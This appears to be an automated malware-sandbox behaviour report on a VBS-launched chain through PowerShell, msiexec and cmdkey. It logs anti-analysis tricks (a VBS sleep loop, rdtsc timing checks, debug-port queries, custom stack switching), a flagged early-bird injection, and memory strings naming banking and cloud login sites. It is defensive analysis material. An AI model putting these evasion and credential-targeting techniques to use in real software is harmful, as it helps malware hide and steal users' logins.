Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Potential evasive VBS script found (sleep loop)

Source: Initial file

Initial file: Do While Pfalzgreverne.Status = 0 WScript.Sleep 100

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FF8C88ED324
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FF8C88ED7E4
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FF8C88ED944
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FF8C88ED504
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FF8C88ED544
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FF8C88ED1E4
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FF8C88F0154
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FF8C88EDA44

Source: C:\Windows\SysWOW64\msiexec.exe

Code function: 10_2_2216D1C0 rdtsc

10_2_2216D1C0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4894	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5036	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6658	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3021	Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe

API coverage: 0.1 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5692	Thread sleep time: -1844674407370954s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6044	Thread sleep time: -4611686018427385s >= -30000s			Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\cmdkey.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: firefox.exe, 0000000E.00000002.3468210308.000001CF4015E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll}}_
Source: msiexec.exe, 0000000A.00000002.3167761730.0000000000A5A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000003.3126476457.0000000000A5D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: cmdkey.exe, 0000000C.00000002.3470610274.00000000080E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,1169642
Source: powershell.exe, 00000004.00000002.2380674128.0000019E3F373000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll1137Z0
Source: cmdkey.exe, 0000000C.00000002.3470610274.00000000080E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: cmdkey.exe, 0000000C.00000002.3470610274.00000000080E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n PasswordVMware20,11696428655x
Source: cmdkey.exe, 0000000C.00000002.3470610274.00000000080E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,116X
Source: msiexec.exe, 0000000A.00000002.3167807046.0000000000A83000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000003.3059746881.0000000000A83000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000003.3059920799.0000000000A83000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: cmdkey.exe, 0000000C.00000002.3470610274.00000000080E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: msiexec.exe, 0000000A.00000002.3167807046.0000000000A83000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000003.3059746881.0000000000A83000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000003.3059920799.0000000000A83000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: cmdkey.exe, 0000000C.00000002.3470610274.00000000080E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: cmdkey.exe, 0000000C.00000002.3470610274.00000000080E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: cmdkey.exe, 0000000C.00000002.3470610274.00000000080E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: cmdkey.exe, 0000000C.00000002.3470610274.00000000080E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kers.comVMware20,11696428655}
Source: cmdkey.exe, 0000000C.00000002.3466952802.000000000316D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: PING.EXE, 00000002.00000002.2193234156.000001A3DB1F9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllww
Source: cmdkey.exe, 0000000C.00000002.3470610274.00000000080E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: cmdkey.exe, 0000000C.00000002.3470610274.00000000080E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: cmdkey.exe, 0000000C.00000002.3470610274.00000000080E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,1
Source: cmdkey.exe, 0000000C.00000002.3470610274.00000000080E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: cmdkey.exe, 0000000C.00000002.3470610274.00000000080E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: cmdkey.exe, 0000000C.00000002.3470610274.00000000080E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: cmdkey.exe, 0000000C.00000002.3470610274.00000000080E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20v
Source: wscript.exe, 00000000.00000002.2199014767.000001B0BE9A2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\rEmulo@
Source: cmdkey.exe, 0000000C.00000002.3470610274.00000000080E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: x.intuit.comVMware20,11696428655t
Source: cmdkey.exe, 0000000C.00000002.3470610274.00000000080E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: cmdkey.exe, 0000000C.00000002.3470610274.00000000080E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ist test formVMware20,11696428655

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Early bird code injection technique detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe

Code function: 10_2_2216D1C0 rdtsc

10_2_2216D1C0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 6_2_049096D9 LdrInitializeThunk,

6_2_049096D9

Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22127208 mov eax, dword ptr fs:[00000030h]	10_2_22127208
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22127208 mov eax, dword ptr fs:[00000030h]	10_2_22127208
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220E823B mov eax, dword ptr fs:[00000030h]	10_2_220E823B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221C5227 mov eax, dword ptr fs:[00000030h]	10_2_221C5227
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221AB256 mov eax, dword ptr fs:[00000030h]	10_2_221AB256
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221AB256 mov eax, dword ptr fs:[00000030h]	10_2_221AB256
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220E9240 mov eax, dword ptr fs:[00000030h]	10_2_220E9240
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220E9240 mov eax, dword ptr fs:[00000030h]	10_2_220E9240
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220F6259 mov eax, dword ptr fs:[00000030h]	10_2_220F6259
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220EA250 mov eax, dword ptr fs:[00000030h]	10_2_220EA250
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2212724D mov eax, dword ptr fs:[00000030h]	10_2_2212724D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22131270 mov eax, dword ptr fs:[00000030h]	10_2_22131270
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22131270 mov eax, dword ptr fs:[00000030h]	10_2_22131270
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220E826B mov eax, dword ptr fs:[00000030h]	10_2_220E826B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22119274 mov eax, dword ptr fs:[00000030h]	10_2_22119274
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221A0274 mov eax, dword ptr fs:[00000030h]	10_2_221A0274
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221A0274 mov eax, dword ptr fs:[00000030h]	10_2_221A0274
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221A0274 mov eax, dword ptr fs:[00000030h]	10_2_221A0274
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221A0274 mov eax, dword ptr fs:[00000030h]	10_2_221A0274
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221A0274 mov eax, dword ptr fs:[00000030h]	10_2_221A0274
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221A0274 mov eax, dword ptr fs:[00000030h]	10_2_221A0274
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221A0274 mov eax, dword ptr fs:[00000030h]	10_2_221A0274
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221A0274 mov eax, dword ptr fs:[00000030h]	10_2_221A0274
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221A0274 mov eax, dword ptr fs:[00000030h]	10_2_221A0274
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221A0274 mov eax, dword ptr fs:[00000030h]	10_2_221A0274
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221A0274 mov eax, dword ptr fs:[00000030h]	10_2_221A0274
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221A0274 mov eax, dword ptr fs:[00000030h]	10_2_221A0274
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220F4260 mov eax, dword ptr fs:[00000030h]	10_2_220F4260
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220F4260 mov eax, dword ptr fs:[00000030h]	10_2_220F4260
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220F4260 mov eax, dword ptr fs:[00000030h]	10_2_220F4260
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221BD26B mov eax, dword ptr fs:[00000030h]	10_2_221BD26B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221BD26B mov eax, dword ptr fs:[00000030h]	10_2_221BD26B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2212329E mov eax, dword ptr fs:[00000030h]	10_2_2212329E
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2212329E mov eax, dword ptr fs:[00000030h]	10_2_2212329E
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22170283 mov eax, dword ptr fs:[00000030h]	10_2_22170283
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22170283 mov eax, dword ptr fs:[00000030h]	10_2_22170283
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_22170283 mov eax, dword ptr fs:[00000030h]	10_2_22170283
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2212E284 mov eax, dword ptr fs:[00000030h]	10_2_2212E284
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2212E284 mov eax, dword ptr fs:[00000030h]	10_2_2212E284
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221C5283 mov eax, dword ptr fs:[00000030h]	10_2_221C5283
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221792BC mov eax, dword ptr fs:[00000030h]	10_2_221792BC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221792BC mov eax, dword ptr fs:[00000030h]	10_2_221792BC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221792BC mov ecx, dword ptr fs:[00000030h]	10_2_221792BC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221792BC mov ecx, dword ptr fs:[00000030h]	10_2_221792BC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221002A0 mov eax, dword ptr fs:[00000030h]	10_2_221002A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221002A0 mov eax, dword ptr fs:[00000030h]	10_2_221002A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221052A0 mov eax, dword ptr fs:[00000030h]	10_2_221052A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221052A0 mov eax, dword ptr fs:[00000030h]	10_2_221052A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221052A0 mov eax, dword ptr fs:[00000030h]	10_2_221052A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221052A0 mov eax, dword ptr fs:[00000030h]	10_2_221052A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221872A0 mov eax, dword ptr fs:[00000030h]	10_2_221872A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221872A0 mov eax, dword ptr fs:[00000030h]	10_2_221872A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221862A0 mov eax, dword ptr fs:[00000030h]	10_2_221862A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221862A0 mov ecx, dword ptr fs:[00000030h]	10_2_221862A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221862A0 mov eax, dword ptr fs:[00000030h]	10_2_221862A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221862A0 mov eax, dword ptr fs:[00000030h]	10_2_221862A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221862A0 mov eax, dword ptr fs:[00000030h]	10_2_221862A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221862A0 mov eax, dword ptr fs:[00000030h]	10_2_221862A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221B92A6 mov eax, dword ptr fs:[00000030h]	10_2_221B92A6
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221B92A6 mov eax, dword ptr fs:[00000030h]	10_2_221B92A6
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221B92A6 mov eax, dword ptr fs:[00000030h]	10_2_221B92A6
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_221B92A6 mov eax, dword ptr fs:[00000030h]	10_2_221B92A6
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2211F2D0 mov eax, dword ptr fs:[00000030h]	10_2_2211F2D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_2211F2D0 mov eax, dword ptr fs:[00000030h]	10_2_2211F2D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220F92C5 mov eax, dword ptr fs:[00000030h]	10_2_220F92C5
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220F92C5 mov eax, dword ptr fs:[00000030h]	10_2_220F92C5
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220FA2C3 mov eax, dword ptr fs:[00000030h]	10_2_220FA2C3
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220FA2C3 mov eax, dword ptr fs:[00000030h]	10_2_220FA2C3
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220FA2C3 mov eax, dword ptr fs:[00000030h]	10_2_220FA2C3
